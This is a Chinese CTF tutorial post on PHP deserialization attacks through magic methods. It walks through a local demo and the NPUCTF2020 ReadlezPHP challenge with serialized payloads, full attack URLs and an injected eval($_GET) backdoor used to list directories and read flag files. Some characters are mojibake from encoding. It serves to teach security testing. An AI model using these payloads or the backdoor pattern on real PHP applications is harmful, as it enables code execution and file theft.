作者:Eason_LYC
悲觀者預言失敗,十言九中。 樂觀者創(chuàng)造奇跡,一次即可。
一個人的價值,在于他所擁有的??梢圆粚W無術,但不能一無所有!
技術領域:WEB安全、網(wǎng)絡攻防
關注WEB安全、網(wǎng)絡攻防。我的專欄文章知識點全面細致,邏輯清晰、結合實戰(zhàn),讓你在學習路上事半功倍,少走彎路!
個人社區(qū):極樂世界-技術至上
追求技術至上,這是我們理想中的極樂世界~(關注我即可加入社區(qū))
本專欄CTF基礎入門系列打破
以往CTF速成或就題論題模式。采用系統(tǒng)講解基礎知識+入門題目練習+真題講解方式
。讓剛接觸CTF的讀者真正掌握CTF中各類型知識點,為后續(xù)自學或快速刷題備賽,打下堅實的基礎~
目前ctf比賽,一般選擇php作為首選語言,如讀者不了解php的基本語法,請登錄相關網(wǎng)站自學下基本語法即可,一般5-7天即可掌握基礎。
1. 題目環(huán)境搭建
詳見我的一篇文章phpstudy本地環(huán)境搭建圖文教程
搭建成功后,在網(wǎng)站根目錄新建含有原始代碼的php文件,通過瀏覽器訪問即可。
網(wǎng)站根目錄中新建一個名為flag.php的文件,內容自定,可作為flag使用。
<?php echo "flag{You_Gor_It_Great!}"; ?>
在線運行php網(wǎng)站,推薦PHP 在線工具 | 菜鳥工具或者在線運行PHP
2. 魔法函數(shù)的危險操作
反序列化時會將序列化字符串重新還原為對象,在這個過程中會?動去調?類中的魔術?法,?如 __wakeup()
、 __destruct()
等,如果這些魔術?法中存在?些危險操作,如讀取?件、執(zhí)?系統(tǒng)命令等。攻擊 者可以通過構造對象中的變量值,在觸發(fā)魔術?法時執(zhí)?這些危險操作。
__destruct() // 析構函數(shù),在銷毀對象時調用
__wakeup() // 執(zhí)行unserialize()時,先會調用這個函數(shù)
2.1 題目demo.php
- 題目源碼
<?php
// flag is in flag.php
class demo
{
private $filename = 'demo.php';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}
unserialize($_GET['s']);
$d = new demo();
$d->show("demo.php");
?>
打開題目
- 解題思路
- 源碼分析發(fā)現(xiàn)
a. 存在魔法函數(shù)__wakeup
b. 魔法函數(shù)中調用show函數(shù),里面存在危險操作show_source顯示源碼
c. 參數(shù)filename可控
綜上可嘗試反序列化讀取flag.php - 構造反序列化
調用鏈:__wakeup() => show
上?的代碼是接收?個參數(shù) s ,然后將其反序列化,反序列化后,會調? __wakeup() ?法。如果?切正常的話, 這個?法會顯示?下 demo.php ?件的源代碼。但是參數(shù) s 是可控的,也就是說對象 s 的屬性是可控的。于是我們可以偽造?個 filename 來構造對象(flag.php)
使用PHP 在線工具 | 菜鳥工具生成payload
<?php
class demo{
private $filename = 'flag.php';
}
$a = new demo();
$b = serialize($a);
echo $b.'<br>';
echo urlencode($b);
?>
// 結果如下
// O:4:"demo":1:{s:14:"demofilename";s:8:"flag.php";}
// O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
最終攻擊payload,瀏覽器url欄中輸入如下內容http://ip:port/filename/?s=O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
2.2 [NPUCTF2020]ReadlezPHP
題目鏈接:[NPUCTF2020]ReadlezPHP]ReadlezPHP
- 題目
正常的一個報時網(wǎng)頁 此題可有兩個flag - 解題思路
- 打開網(wǎng)站嘗試路徑掃描無果。嘗試查看網(wǎng)頁源碼,發(fā)現(xiàn)可以鏈接
- 點擊后,URL中去掉view-source: 頁面展示源碼如下。
- 分析源代碼可知
(1)存在魔法函數(shù)__destruct()
(2)調用危險代碼動態(tài)執(zhí)行 b ( b( b(a)
(3)$a $b參數(shù)可控
綜上選定PHP反序列化攻擊 - 構造序列化腳本
<?php
class HelloPhp
{
public $a="ls /";
public $b="system";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
// 輸出結果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
攻擊payload為http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
- 但是沒有響應,懷疑是過濾了部分函數(shù)。嘗試使用別的函數(shù),如assert
<?php
class HelloPhp
{
public $a="phpinfo()";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
// 輸出結果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
攻擊payloadhttp://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函數(shù)disable_functions PHP中的system函數(shù)被禁用
搜索flag找到第一個flag
- 構造后門文件查看是否還有其他flag assert(eval($_GET[1234]))
<?php
class HelloPhp
{
public $a="eval(\$_GET[1234])";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
攻擊payloadhttp://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));
- 后門1234的命令被限制使用var_dump(scandir(“/”))代替 system(“l(fā)s /”) 找到第二個flag
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));
- 使用echo file_get_contents(“/FIag_!S_it”)代替system(cat /FIag_!S_it)
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");
找到第二個flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}文章來源:http://www.zghlxwxcb.cn/news/detail-447042.html
以上僅是典型題目,下一篇文章將繼續(xù)介紹php反序列化pop鏈的構造文章來源地址http://www.zghlxwxcb.cn/news/detail-447042.html
到了這里,關于CTF-PHP反序列化漏洞2-利用魔法函數(shù)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!